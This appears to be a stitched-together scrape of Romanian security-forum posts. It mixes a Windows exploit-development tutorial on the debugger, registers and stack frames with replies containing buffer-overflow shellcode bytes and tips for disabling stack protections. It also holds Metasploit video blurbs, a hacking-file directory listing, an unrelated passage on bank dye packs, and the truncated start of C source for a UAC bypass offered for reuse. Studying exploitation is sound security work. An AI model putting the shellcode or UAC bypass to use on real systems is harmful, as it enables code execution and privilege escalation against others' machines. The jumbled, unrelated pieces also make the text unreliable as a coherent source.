Nytro

O alternativa ar mai fi CALL ESP (cum a folosit neox initial) dar sa nu uitam ca la CALL se mai pun 4 octeti pe stiva (adresa de return).

Da, acum l-am descoperit si eu, pare cel mai detaliat. NOTA: Cei care vor sa il citeasca, sa il citeasca la adresa originala deoarece aici nu apar imaginile (nu stiu inca de ce).

Windows Exploit Development – Part 1: The Basics Written by:Mike Czumak Written on:December 6, 2013 Overview Welcome to Part 1 of a series of posts on Windows Exploit Development. In this first installment I’ll cover just the basics necessary to understand the content of future posts, including some Assembly syntax, Windows memory layout, and using a debugger. This will not be a comprehensive discussion on any of these topics so if you have no exposure to Assembly or if anything is unclear after you read through this first post I encourage you to take a look at the various links to resources I’ve provided throughout. My plan for the rest of the series is to walk through various exploit topics, from the simple (direct EIP overwrite) to the more complicated (unicode, egg hunters, ASLR bypass, heap spraying, device driver exploits etc), using actual exploits to demonstrate each. I don’t really have an end in sight, so as I think of more topics, I’ll continue to write posts. Purpose My goal for this series of posts is to introduce the concepts of finding and writing Windows application exploits in the hope that Security and IT professionals that haven’t had much technical exposure to these concepts might take an interest in software security and apply their skills to make private and public domain software more secure. Disclaimer: If you’re someone that wants to build exploits to partake in illegal or immoral activity, please go elsewhere. I should also mention that these posts are not intended to compete with other great tutorials out there such as Corelan Team, The Grey Corner, and Fuzzy Security. Instead, they are meant to complement them and provide yet another resource for explanations and examples — if you’re like me, you can never have too many examples. I highly encourage you to check out these other great sites. What You’ll Need Here’s what you’ll need if you want to follow along: A Windows installation: I plan to start with Windows XP SP3 but as I progress and cover different topics/exploits, I may also use other versions including Windows 7 and Windows Server 2003/2008. A Debugger: On the Windows host you’ll also need a debugger. I’ll primarily be using Immunity Debugger which you can download here. You should also get the mona plugin which can be found here. I’ll also use WinDbg for some of my examples. Instructions for download can be found here (scroll down the page for earlier versions of Windows). A Backtrack/Kali host (optional): I use a Kali host for all of my scripting and also plan to use it as the “attacking machine” in any remote exploit examples I use. I plan to use Perl and Python for the majority of my scripts so you may choose to install either language environment on your Windows host instead. Getting Started with Immunity Debugger Let’s begin by taking a look at a debugger since we’ll be spending quite a bit of time using one throughout these tutorials. I’m going to be primarily using Immunity debugger because it’s free and has some plugins and custom scripting capabilities that I plan on highlighting as we progress. I’ll use Windows Media Player as an example program to introduce Immunity Debugger. If you want to follow along, open Windows Media Player and Immunity Debugger. In Immunity, click File –> Attach and select the name of the application/process (in my example, wmplayer). Note: you can also launch WMP directly from Immunity by clicking File –> Open and selecting the executable. Once you’ve launched an executable or attached to a process within Immunity, you should be taken to the CPU view (if not, hit Alt+C), which looks like this: When you run/attach to a program with Immunity it starts in a paused state (see lower right hand corner). To run the program you can hit F9 (or the play button in the toolbar). To step into the next instruction (but pause program execution) hit F7. You can use F7 to step through each instruction one at a time. If at any time you want to restart the program, hit Ctrl+F2. I won’t be providing a complete tutorial on how to use Immunity, but I will try to mention any relevant shortcuts and hotkeys as I present new concepts in this and future posts. As you can see, the CPU window is broken up into four panes depicting the following information: The CPU Instructions – displays the memory address, opcode and assembly instructions, additional comments, function names and other information related to the CPU instructions The Registers – displays the contents of the general purpose registers, instruction pointer, and flags associated with the current state of the application.. The Stack – shows the contents of the current stack The Memory Dump – shows the contents of the application’s memory Let’s take a look at each one in a bit more depth, starting with the registers. CPU Registers The CPU registers serve as small storage areas used to access data quickly. In the x86 (32-bit) architecture there are 8 general-purpose registers: EAX, EBX, ECX, EDX, EDI, ESI, EBP, and ESP. They can technically be used to store any data, though they were originally architected to perform specific tasks, and in many cases are still used that way today. Here’s a bit more detail for each… EAX – The Accumulator Register. It’s called the accumulator register because it’s the primary register used for common calculations (such as ADD and SUB). While other registers can be used for calculations, EAX has been given preferential status by assigning it more efficient, one-byte opcodes. Such efficiency can be important when it comes to writing exploit shellcode for a limited available buffer space (more on that in future tutorials!). In addition to its use in calculations, EAX is also used to store the return value of a function. This general purpose register can be referenced in whole or in part as follows: EAX refers to the 32-bit register in its entirety. AX refers to the least significant 16 bits which can be further broken down into AH (the 8 most significant bits of AX) and AL (the 8 least significant bits). Here’s a basic visual representation: This same whole/partial 32-, 16-, and 8-bit referencing also applies to the next three registers (EBX, ECX, and EDX) EBX – The Base Register. In 32-bit architecture, EBX doesn’t really have a special purpose so just think of it as a catch-all for available storage. Like EAX, it can be referenced in whole (EBX) or in part (BX, BH, BL). ECX – The Counter Register. As its name implies, the counter (or count) register is frequently used as a loop and function repetition counter, though it can also be used to store any data. Like EAX, it can be referenced in whole (ECX) or in part (CX, CH, CL). EDX – The Data Register EDX is kind of like a partner register to EAX. It’s often used in mathematical operations like division and multiplication to deal with overflow where the most significant bits would be stored in EDX and the least significant in EAX. It is also commonly used for storing function variables. Like EAX, it can be referenced in whole (EDX) or in part (DX, DH, DL). ESI – The Source Index The counterpart to EDI, ESI is often used to store the pointer to a read location. For example, if a function is designed to read a string, ESI would hold the pointer to the location of that string. EDI – The Destination Index Though it can be (and is) used for general data storage, EDI was primarily designed to store the storage pointers of functions, such as the write address of a string operation. EBP – The Base Pointer EBP is used to keep track of the base/bottom of the stack. It is often used to reference variables located on the stack by using an offset to the current value of EBP, though if parameters are only referenced by register, you may choose to use EBP for general use purposes. ESP – The Stack Pointer ESP is used to track the top of the stack. As items are moved to and from the stack ESP increments/decrements accordingly. Of all of the general purpose registers, ESP is rarely/never used for anything other than it’s intended purpose. The Instruction Pointer (EIP) Not a general purpose register, but fitting to cover here, EIP points to the memory address of the next instruction to be executed by the CPU. As you’ll see in the coming tutorials, control the value of EIP and you can control the execution flow of the application (to execute code of your choosing). Segment Registers and EFLAGS register There are two additional registers you’ll see in the Register pane, the Segment Register and EFLAGS register. I won’t cover either in detail but note that the EFLAGS register is comprised of a series of flags that represent Boolean values resulting from calculations and comparisons and can be used to determine when/if to take conditional jumps (more on these later). For more on the CPU registers, check out these resources: http://wiki.skullsecurity.org/Registers The Art of Picking Intel Registers Memory Dump Skipping to the Memory Dump pane of the CPU view, this is simply where you can view the contents of a memory location. For example, let’s say you wanted to view the contents of memory at ESP, which in the following screenshot is pointing to 0007FF0C. Right-click on ESP, select “Follow in Dump” and the Memory Dump pane will display that location. CPU Instructions As you are probably aware, most applications today are written in a high-level language (C, C++, etc). When the application is compiled, these high-level language instructions are translated into Assembly which has corresponding opcode to help further translate the instruction into something the machine can understand (machine code). Within the debugger, you can view each Assembly instruction (and corresponding opcode) being processed by the CPU within the CPU Instruction Pane. Note: For the Windows Exploit Series, I’ll be using the x86 assembly language Intel syntax (http://en.wikipedia.org/wiki/X86_assembly_language#Syntax). You can step through the execution flow of the program one at a time (F7) and see the result of each CPU instruction. Let’s take a look at the first set of instructions for Windows Media Player. The program starts paused. Hit F7 a few times to execute the first few instructions until we get to the second MOV DWORD PTR SS: instruction (highlighted in the below screenshot). The MOV instruction copies a data item from one location to another. This instruction is going to move the contents of EBX into the memory address location pointed to by EBP – 18 (remember with x86 Intel syntax it’s MOV [dst] [src]). Notice that EBP (the stack base pointer) is pointing to 0007FFC0. Using your Windows or Mac calculator (in scientific/programmer mode), calculate 0007FFC0 – 0×18. The result should be 0x7FFA8, meaning that the contents of EBP will be placed into the location of address 0007FFA8. In fact, you don’t have to calculate this outside of Immunity. Notice the sub-window at the bottom of the CPU instruction pane. It already tells you the value of EBX, as well as the value of 0007FFC0 – 0×18 and the current contents of that memory location (F4C47D04). You can right-click on the “Stack” line in that sub-window and select “Follow address in Dump” to verify the contents of that memory location. Now hit F7 again to execute the instruction. Notice how the memory location 0007FFA8 now has a value of 00000000, since the contents of EBX were moved there. This was just a quick example of how you can follow the execution of each CPU instruction within Immunity. Here’s a few more common Assembly instructions and syntax you’ll come across: ADD/SUB op1, op2 — add or subtract two operands, storing the result in the first operand. These can be registers, memory locations (limit of one) or constants. For example, ADD EAX, 10 means add 10 to the value of EAX and store the result in EAX XOR EAX, EAX — Performing an ‘exclusive or’ of a register with itself sets its value to zero; an easy way of clearing the contents of a register INC/DEC op1– increment or decrement the value of the operand by one CMP op1, op2 — compare the value of two operands (register/memory address/constant) and set the appropriate EFLAGS value. Jump (JMP) and conditional jump (je, jz, etc) — as the name implies these instructions allow you to jump to another location in the execution flow/instruction set. The JMP instruction simply jumps to a location whereas the conditional jumps (je, jz, etc) are taken only if certain criteria are met (using the EFLAGS register values mentioned earlier). For example, you might compare the values of two registers and jump to a location if they are both equal (uses je instruction and zero flag (zf) = 1). When you see a value in brackets such as ADD DWORD PTR [X] or MOV eax, [ebx] it is referring to the value stored at memory address X. In other words, EBX refers to the contents of EBX whereas [EBX] refers to the value stored at the memory address in EBX. Relevant size keywords: BYTE = 1 byte, WORD = 2 bytes, DWORD = 4 bytes. I’m certainly no expert, but when it comes to understanding and eventually developing your own exploit code, you should to have a pretty solid grasp of Assembly. I’ll be discussing a few more Assembly instructions as we progress but I don’t plan on covering the Assembly language in-depth, so if you need a refresher there are a ton of good online resources including: x86 Assembly Guide Sandpile.org The Art of Assembly Language Programming Windows Assembly Language Megaprimer If you want a book to purchase, you might consider this one: Hacking: The Art of Exploitation: The Art of Exploitation which not only covers the basics of Assembly but also gets into writing exploits (though primarily in a Linux environment). For this series of posts I will do my best to explain any code examples I use so if you have at least some basic understanding of Assembly you should be fine. Windows Memory Layout Before we talk about the stack, I want to talk briefly about the Win32 process memory layout. I should state up-front that this will be an extremely high-level introduction and will not cover concepts such as Address Space Layout Randomization (ASLR), Virtual to Physical Address translation, Paging, Physical Address Extension, etc. I plan to cover some of these topics in a later installment, but for now I want to keep things very simple. First, with Immunity attached to Windows Media Player, take a look at the memory map by hitting ALT+M (Alternatively you can select View->Memory or click the ‘M’ icon on the toolbar). You should be presented with something that looks like the following (exact entries may vary): This is the memory layout of the wmplayer.exe including the stack, heap, loaded modules (DLLs) and the executable itself. I’ll introduce each of these items in a bit more detail using a slightly simplified version of the memory map found on Corelan’s great introductory tutorial on Stack Based Overflows which I’ve mapped to the Immunity memory map of Windows Media Player. Let’s work our way up from the bottom, starting with the portion of memory from 0xFFFFFFFF to 0x7FFFFFFF which is often referred to as “Kernel Land”. Kernel Land This portion of memory is reserved by the OS for device drivers, system cache, paged/non-paged pool, HAL, etc. There is no user access to this portion of memory. Note: for a thorough explanation of Windows memory management you should check out the Windows Internals books (currently two volumes). PEB and TEB(s) When you run a program/application, an instance of that executable known as a process is run. Each process provides the resources necessary to run an instance of that program. Every Windows process has an executive process (EPROCESS) structure that contains process attributes and pointers to related data structures. While most of these EPROCESS structures reside in Kernel Land, the Process Environment Block (PEB) resides in user-accessible memory. The PEB contains various user-mode parameters about a running process. You can use WinDbg to easily examine the contents of the PEB by issuing the !peb command. As you can see, the PEB includes information such as the base address of the image (executable), the location of the heap, the loaded modules (DLLs), and Environment variables (Operating system, relevant paths, etc). Take a look at the ImageBaseAddress from the above WinDbg screenshot. Note the address 01000000. Now refer back to the previous Win32 Memory Map diagram and note how this is the same as the very first address in the Immunity callout of the “Program Image” block. You can do the same for the heap address and associated DLLs. A quick note about symbol files…it’s especially helpful to load the appropriate symbol files when debugging Windows applications as they provide useful, descriptive information for functions, variables, etc. You can do so within WinDbg by navigating to “File –> Symbol File Path…”. Follow the instructions found here: Use the Microsoft Symbol Server to obtain debug symbol files. You can also load symbol files in Immunity by navigating to “Debug –> Debugging Symbol Options”. More details on the entirety of the PEB structure can be found here. A program, or process, can have one or more threads which serve as the basic unit to which the operating system allocates processor time. Each process begins with a single thread (primary thread) but can create additional threads as needed. All of the threads share the same virtual address space and system resources allocated to the parent process. Each thread also has its own resources including exception handlers, priorities, local storage, etc. Just like each program/process has a PEB, each thread has a Thread Environment Block (TEB). The TEB stores context information for the image loader and various Windows DLLs, as well as the location for the exception handler list (which we’ll cover in detail in a later post). Like the PEB, the TEB resides in the process address space since user-mode components require writable access. You can also view the TEB(s) using WinDbg. More details on the entirety of the TEB structure can be found here and more details on processes and threads can be found here. DLLs Windows programs take advantage of shared code libraries called Dynamic Link Libraries (DLLs) which allows for efficient code reuse and memory allocation. These DLLs (also known as modules or executable modules) occupy a portion of the memory space. As shown in the Memory Map screenshot, you can view them in Immunity in the Memory view (Alt+M) or if you want to only view the DLLs you can select the Executable Module view (Alt+E). There are OS/system modules (ntdll, user32, etc) as well as application-specific modules and the latter are often useful in crafting overflow exploits (covered in future posts). Here’s a screenshot of the Memory view in Immunity: Program Image The Program Image portion of memory is where the executable resides. This includes the .text section (containing the executable code/CPU instructions) the .data section (containing the program’s global data) and the .rsrc section (contains non-executable resources, including icons, images, and strings). Heap The heap is the dynamically allocated (e.g. malloc( )) portion of memory a program uses to store global variables. Unlike the stack, heap memory allocation must be managed by the application. In other words, that memory will remain allocated until it is freed by the program or the program itself terminates. You can think of the heap as a shared pool of memory whereas the stack, which we’ll cover next, is more organized and compartmentalized. I won’t go too much deeper to the heap just yet but plan to cover it in a later post on heap overflows. The Stack Unlike the heap, where memory allocation for global variables is relative arbitrary and persistent, the stack is used to allocate short-term storage for local (function/method) variables in an ordered manner and that memory is subsequently freed at the termination of the given function. Recall how a given process can have multiple threads. Each thread/function is allocated its own stack frame. The size of that stack frame is fixed after creation and the stack frame is deleted at the conclusion of the function. PUSH and POP Before we look at how a function is assigned a stack frame, let’s take a quick look at some simple PUSH and POP instructions so you can see how data is placed onto and taken off of the stack. The stack is a last-in first-out (LIFO) structure meaning the last item you put on the stack is the first item you take off. You “push” items onto the top of the stack and you “pop” items off of the top of the stack. Let’s take a look at this in action… In the following screenshot, you’ll see a series of PUSH instructions in the CPU instructions pane (top left), each of which will take a value from one of the registers (top right pane) and put that value on top of the stack (lower right pane). Let’s start with the first PUSH instruction (PUSH ECX). Take note of the value of ECX as well as the address and value of the top of the stack (lower right hand corner of the previous screenshot). Now the PUSH ECX instruction executes… After the first PUSH ECX instruction, the value from ECX (address 0012E6FC) was pushed to the top of the stack (as illustrated in the above screenshot). Notice how the address of the top of the stack decreased by 4 bytes (From 0012E650 to 0012E64C). This illustrates how the stack grows upward to lower addresses as items are pushed to it. Also notice that ESP points to the top of the stack and EBP points to the base of this stack frame. You’ll notice in the coming screenshots that EBP (the base pointer) remains constant while ESP (the stack pointer) shifts as the stack grows and shrinks. Now, the second PUSH ECX instruction will be executed… Once again, the value from ECX (0012E6FC) was pushed to the top of the stack, ESP adjusted its value by another 4 bytes, and as you can see in the above screenshot, the last PUSH instruction (PUSH EDI) is about to be executed. Now the value from EDI (41414139) was pushed to the top of the stack and the next instruction in the list is about to be executed (a MOV instruction) and the value of EDI changed. Let’s skip ahead to the POP EDI instruction to show how items are taken off of the stack. In this case, the current value on top of the stack (41414139) is going to be popped off and placed into EDI. As you can see, the value of EDI has changed back to 41414139 following the POP instruction. Now that you have an idea of how the stack is manipulated, let’s take a look at how stack frames are created for functions and how local variables are placed on the stack. Understanding this will be critical as we move into stack-based overflows in part 2 of this series. Stack Frames and Functions When a program function executes, a stack frame is created to store its local variables. Each function gets its own stack frame, which is put on top of the current stack and causes the stack to grow upwards to lower addresses. Each time a stack frame is created, a series of instructions executes to store function arguments and the return address (so the program knows where to go after the function is over), save the base pointer of the current stack frame, and reserve space for any local function variables. [note: I'm intentionally omitting exception handlers for this basic discussion but will address them in a later post]. Let’s take a look at the creation of a stack frame using one of the simplest functions I could find (from Wikipedia): This code simply calls function foo( ), passing it a single command line argument parameter (argv[1]). Function foo( ) then declares a variable c of length 12, which reserves the necessary space on the stack to hold argv[1]. It then calls function strcpy( ) which copies the value of argv[1] into variable c. As the comment states, there is no bounds checking so this use of strcpy could lead to a buffer overflow, which I’ll demonstrate in the part 2 of this series. For now, let’s just focus on how this function affects the stack. I compiled this c program (as stack_demo.exe) using Visual Studio Command Prompt (2010) to show exactly what it looks like as it executes in a debugger. You can run a program with command line arguments directly from Immunity by selecting File–>Open (or simply hitting F3), selecting your executable, and entering your command line argument(s) in the given field. For this example, I simply used 11 A’s for argv[1]. [We'll take a look at what happens when you use more than 11 in part 2!] If you want to follow along, you’ll probably want to insert some breakpoints at the relevant portions of the code. Since addresses can change, the best method to find our relevant program code is to select View –> Executable modules (or Alt+E). Then, double-click the stack_demo.exe module (or whatever you named your .exe). This should take you to the following: The first line you see is actually the start of foo( ), but we’re going to first take a look at main( ). I’ve set several breakpoints to assist in walking through the code (indicated by the light blue highlight) and you can do the same by selecting the desired address and hitting F2. Let’s take a look at main( ) … Although main( ) does nothing more than call function foo( ) there are a couple of things that have to happen first, as you’ll see within the debugger. First, it pushes the contents of Argv[1] (AAAAAAAAAAAAA) to the stack. Then, when function foo( ) is called, the return address is saved to the stack so the program execution flow can resume at the proper location after function foo( ) terminates. Take a look at the Immunity screenshot, which I’ve commented accordingly — just pay attention to what’s in the red box for now; I’ll cover some of the other instructions shortly. You’ll see a pointer to argv[1] is pushed to the stack right before function foo( ) is called. Then the CALL instruction is executed and the return address to the next instruction (EIP + 4) is also pushed to the stack. If you want proof that address 00332FD4 contains 0033301C which is a pointer to argv[1], refer to the dump contents of that address: You’ll see the contents written backwards as 1C303300. Let me take this opportunity to quickly cover Little Endian notation. “Endianness” refers to the order in which bytes are stored in memory. Intel x86 based systems employ Little Endian notation which stores the least significant byte of a value at the smallest memory address (which is why the address is stored in reverse order). As an example, refer to the above hex dump screenshot — the address at the top (00332FD4) is the smallest and address at the bottom (00333034) is the largest. As such, the byte in the top left (currently occupied by 1C) occupies the smallest address location and the addresses get larger as you move left to right and top to bottom. When you look at an address such as 0033301C, the least significant byte is the byte all the way to the right (1C). To convert it to Little Endian notation you re-order it, one byte at a time, from right to left. Here’s a visual: Ok, so argv[1] and the return address have now been pushed to the stack and function foo( ) has been called. Here’s a look at the stack with the relevant portions highlighted. Note the pointer to argv[1] at address 0012FF74 and right above it the stored RETURN value. If you refer back to the previous screenshot of main( ), you’ll notice that the RETURN address of 0040103F is the next instruction after CALL foo( ), which is where the program execution will pick up after foo( ) terminates. Now let’s look at function foo( ): Once function foo( ) is called, the first thing that happens is the current base pointer (EBP) is saved to the stack via a PUSH EBP instruction so that once the function terminates, the base of the stack for main( ) can be restored. Next, EBP is set equal to ESP (via the instruction MOV EBP, ESP), making the top and bottom of the stack frame equal. From here, EBP will remain constant (for the life of function foo) and ESP will will grow up to a lower address as data is added to the function’s stack frame. Here’s a before and after view of the registers showing that EBP now equals ESP. Next, space is reserved for the local variable c (char c[12]) via the following instruction: SUB ESP, 10. Here’s a look at the stack after this series of instructions: Notice how the top of the stack (and as a result ESP) has changed from 0012FF6C to 0012FF5C. Let’s skip down to the call of strcpy( ), which will copy the contents of the argv[1] (AAAAAAAAAAAAA) into the space that was just reserved on the stack for variable c. Here’s a look at the function in the debugger. I’ve only highlighted the portion that performs the writing to the stack. You’ll notice in the following screenshots that it continues to loop through the value of argv[1], writing to the reserved space on the stack (from top to bottom of the reserved space) until all of argv[1] has been written to the stack. Before we take a look at what happens to the stack when a function terminates, here’s another step-by-step visual to reinforce the steps taken when function foo( ) is called. After strcpy( ) has completed and function foo( ) is ready to terminate, some cleanup has to happen on the stack. Let’s take a look at the stack as foo( ) prepares to terminate and program execution is turned back over to main( ). As you can see, the first instruction that is executed is MOV ESP, EBP which puts the value of EBP in ESP so it now points to 0012FF6C, and effectively removes variable c (AAAAAAAAAAA) from the stack. The top of the stack now contains saved EBP: When the next instruction, POP EBP, is executed it will restore the previous stack base pointer from main( ) and increase ESP by 4. The stack pointer now points to the RETURN value placed on the stack right before foo( ) was called. When the RETN instruction is executed, it will take program execution flow back to the next instruction in main( ) just after the CALL foo( ) instruction, as illustrated in the below screenshot. Function main( ) will perform its own cleanup by moving the stack pointer down the stack (by increasing its value by 4) and clearing the stack of argv[1]. It will then clear the register it used to store argv[1] (EAX) via an XOR, restore the saved EBP, and return to the saved return address. That should be enough of a walk-though to understand how a function stack frame is created/deleted and how local variables are stored on the stack. If you want more examples, I encourage you to check out some of the other great tutorials out there (especially those published by Corelan Team). Conclusion That’s the end of this first installment in the Windows Exploits series. Hopefully, you’re now familiar with using a debugger, can recognize some basic Assembly instructions, and understand (at a high level) how Windows manages memory as well as how the stack operates. In the next post, we’ll pick up with the same basic function foo( ) to introduce the concept of stack-based overflows. Then I’ll jump right into writing a real-world example exploit found for an actual vulnerable software product. I hope this first post was clear, accurate and useful. If you have any questions, comments, corrections, or suggestions for improvement, please don’t hesitate to leave me some feedback in the Comments section. Follow @securitySift Related Posts: Windows Exploit Development – Part 1: The Basics Windows Exploit Development – Part 2: Intro to Stack Based Overflows Windows Exploit Development – Part 3: Changing Offset and Rebased Modules Windows Exploit Development – Part 4: Locating Shellcode with Jumps Windows Exploit Development – Part 5: Locating Shellcode with Egghunting Windows Exploit Development – Part 6: SEH Exploits Sursa: Windows Exploit Development - Part 1: The Basics | Security SiftSecurity Sift

Atentie la cateva aspecte: 1. Foarte important: buffer += ("\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52 \x1c\x8b\x42""\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\ x89\xc7\x03" "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\ x31\xed\x8b" "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\ xf2\x81\x7e" "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\ x66\x8b\x2c" "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\ x68\x79\x74" "\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\ x89\xe1\xfe" "\x49\x0b\x31\xc0\x51\x50\xff\xd7") Nu stiu sca obervati, dar jegul de cod BB pune niste spatii de-am-pulea! Le scoateti inainte de a rula exploit-ul. 2. Dezactivati protectiile Dezactivati Stack Cookies, ASLR si DEP din setarile proiectului. 3. Atentie la variabilele locale Daca declarati cateva variabile locale in functie care apeleaza strcpy, datele puse pe stiva sunt mai multe. Asadar, cand faceti suprascrierea, in loc de "\x41" * 24 vezi avea mai mult de suprascris (un numar mai mare decat 24: poate 28, poate 32 poate mult mai mult). 4. strcpy_s Visual Studio genereaza warning daca folositi strcpy si va recomanda sa folositi strcpy_s. NU folositi strcpy_s in teste deoarece va preveni buffer overflow-ul.

Vedeti ca aveti ASLR pe Windows 7/8. NU dati reboot dupa ce gasiti adresa pentru jmp esp. Ruleaza pas cu pas in debugger si vezi ce se intampla la RETN, vezi ce se afla in varful stivei la RETN. PS: Stack-ul tau arata total diferit. Tu ai mult mai multe date pe stack, ceva pus de compilator acolo. Pune mai multi de AAAA. ESP-ul tau e xxxxF738 si AAAA-urii sunt la xxxxF788, deci e mai mult spatiu de suprascris. O sa ma uit si eu maine pe Win7, ca acum plec la bere.

Doua. Sau un milion. Depinde. Aplicatia de 10 MB poate sa contina 9MB de imagini. Poate sa contina 6 MB de informatii de debug. Poate sa contina 5 DLL-uri folosite, totalizand 8 MB. Poate sa fie linkata static, adica sa contina si codul librariilor folosite. Iti putem oferi o oarecare statistica daca ne dai executabilul. Putem verifica cat de mare e sectiunea de cod. DAR depinde prea multe lucruri. Daca e in .NET e alta poveste. Daca e in VB, e alta poveste. Daca e in C++, e posibil sa contina mult cod de runtime generat automat de catre compilator. Pune executabilul aici.

Mersi. Astept sa vad si eu cel putin o persoana care a incercat si a reusit. Sau care nu a reusit dar pe care sa o pot ajuta...

[h=1]Penetration Testing and Exploiting with Metasploit + Armitage + msfconsole[/h] Publicat pe 28 iul. 2013 In this Video we show you how to exploit machines with Metasploit, Armitage, and msfconsole. Thumbs up & Subscribe if you like it Links: Links: Facebook: http://www.facebook.com/Netsecnow Blog: Learn Network Security - NetSecNow Twitter: http://www.twitter.com/LearnNetSec Metasploit Guide: http://www.offensive-security.com/met... Sursa:

[h=1]Basics of Penetration Testing by KernelMeltdown.org[/h] Publicat pe 28 oct. 2012 Kernel Meltdown I recorded my workshop last Thursday on this talk, but not surprisingly, the recording did not save! I decided to do the talk and demo again on my own and record it for everyone to enjoy... I did not anticipate it to be over 40 minutes, so I apologize for that, but here you go! Feedback is greatly appreciate it. Otherwise, I would not know what to change to make them better. You can get the powerpoint presentation here: http://kernelmeltdown.org/blog/offens...

[h=2]Index of /[/h] [TABLE] [TR] [TH][/TH] [TH]Name[/TH] [TH]Last modified[/TH] [TH]Size[/TH] [TH]Description[/TH] [/TR] [TR] [TH=colspan: 5] [/TH][/TR] [TR] [TD][/TD] [TD]Cryptography/[/TD] [TD=align: right]24-Jan-2014 17:49 [/TD] [TD=align: right] - [/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]Embedded/[/TD] [TD=align: right]18-Mar-2014 00:59 [/TD] [TD=align: right] - [/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]Forensic/[/TD] [TD=align: right]18-Mar-2014 01:00 [/TD] [TD=align: right] - [/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]Lockpicking/[/TD] [TD=align: right]18-Mar-2014 01:01 [/TD] [TD=align: right] - [/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]Magazines/[/TD] [TD=align: right]13-Jun-2014 13:47 [/TD] [TD=align: right] - [/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]Network n Security/[/TD] [TD=align: right]18-Mar-2014 01:01 [/TD] [TD=align: right] - [/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]Other/[/TD] [TD=align: right]30-Jul-2014 17:38 [/TD] [TD=align: right] - [/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]Programming/[/TD] [TD=align: right]03-Jun-2014 11:40 [/TD] [TD=align: right] - [/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]Reverse Engineering/[/TD] [TD=align: right]06-May-2014 16:20 [/TD] [TD=align: right] - [/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]The_Hacker_Files_Comic.zip[/TD] [TD=align: right]08-Dec-2013 11:36 [/TD] [TD=align: right]111M[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]Todo/[/TD] [TD=align: right]18-Mar-2014 01:01 [/TD] [TD=align: right] - [/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]Tools/[/TD] [TD=align: right]26-May-2014 17:58 [/TD] [TD=align: right] - [/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]Windows/[/TD] [TD=align: right]18-Mar-2014 01:02 [/TD] [TD=align: right] - [/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]Wordlists/[/TD] [TD=align: right]24-Jan-2014 18:02 [/TD] [TD=align: right] - [/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]bootnets/[/TD] [TD=align: right]18-Mar-2014 01:02 [/TD] [TD=align: right] - [/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]ebooks/[/TD] [TD=align: right]21-Jul-2014 18:24 [/TD] [TD=align: right] - [/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]expl0it/[/TD] [TD=align: right]24-Jan-2014 17:56 [/TD] [TD=align: right] - [/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]neuromancer.txt[/TD] [TD=align: right]08-Dec-2013 11:36 [/TD] [TD=align: right]532K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]unix/[/TD] [TD=align: right]18-Mar-2014 01:02 [/TD] [TD=align: right] - [/TD] [TD] [/TD] [/TR] [TR] [TH=colspan: 5] [/TH][/TR] [/TABLE] Link: Index of /

A dye pack is a radio-controlled incendiary device used by some banks to preemptively foil a bank robbery by causing stolen cash to be permanently marked with dye shortly after a robbery. In most cases, a dye pack is placed in a hollowed-out space within a stack of banknotes, usually $10 or $20 bills. This stack of bills looks and feels similar to a real one, with technology allowing for the manufacturing of flexible dye packs which are difficult to detect by handling the stack.[1] When the marked stack of bills is not used, it is stored next to a magnetic plate near a bank cashier, in standby or safe mode, ready to be handed over to a potential robber by a bank employee. When it is removed from the magnetic plate, the pack is armed, and once it leaves the building and passes through the door frame, a radio transmitter located at the door will trigger a timer (typically 10 seconds), after which the dye pack will explode and release an aerosol (usually of Disperse Red 9) and sometimes tear gas, intended to permanently stain and destroy the stolen money and mark the robber's body with a bright red color. The chemical reaction causing the explosion of the pack and the release of the dye creates high temperatures of about 200 °C (392 °F) which further discourages a criminal from touching the pack or removing it from the bag or getaway vehicle.[1] Dye packs are used in over 75% of banks in America.[2]

Sunt CV-uri. Nota: Adobe Reader imi crapa in EMET 5. Patiti la fel? Edit: Era de la mine.

[h=1][C/C++] UAC Bypass[/h][h=3]mh4x0f[/h] /* UAC Bypass for Windows 7 RTM, SP1 / Windows 8 DP, CP all 32-bit for admin with default UAC settings Effectively bypasses the UAC rights, because of: 1. "auto-elevation" for certain processes started from explorer.exe 2. anyone can inject anything to explorer.exe This was reported to Microsoft multiple times (months ago) and they are too lame to fix injection to explorer.exe. I've followed the responsible disclosure guidelines, no need to get angry on me. TDL4 is using the bypass for 64-bit already. © 2012 K. Kleissner, Published under EUPL - Take it, use it. Implement it as below, be aware the code makes a copy of itself (the "own" exe) and changes it to be a dll (so be aware of the WinMain -> DllMain entry point implications!). int UACBypass(); int main() { OSVERSIONINFO VersionInfo; VersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); GetVersionEx(&VersionInfo); // Windows 7, 8: Try injecting into auto-elevated process if admin and UAC is on default (prompts 2 times on guest with credential UI so you should add a check for guest) if (VersionInfo.dwMajorVersion == 6 && (VersionInfo.dwMinorVersion == 1 || VersionInfo.dwMinorVersion == 2) && !IsUserElevatedAdmin()) UACBypass(); // ... your code here ... } BOOL IsUserElevatedAdmin() { SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY; PSID SecurityIdentifier; if 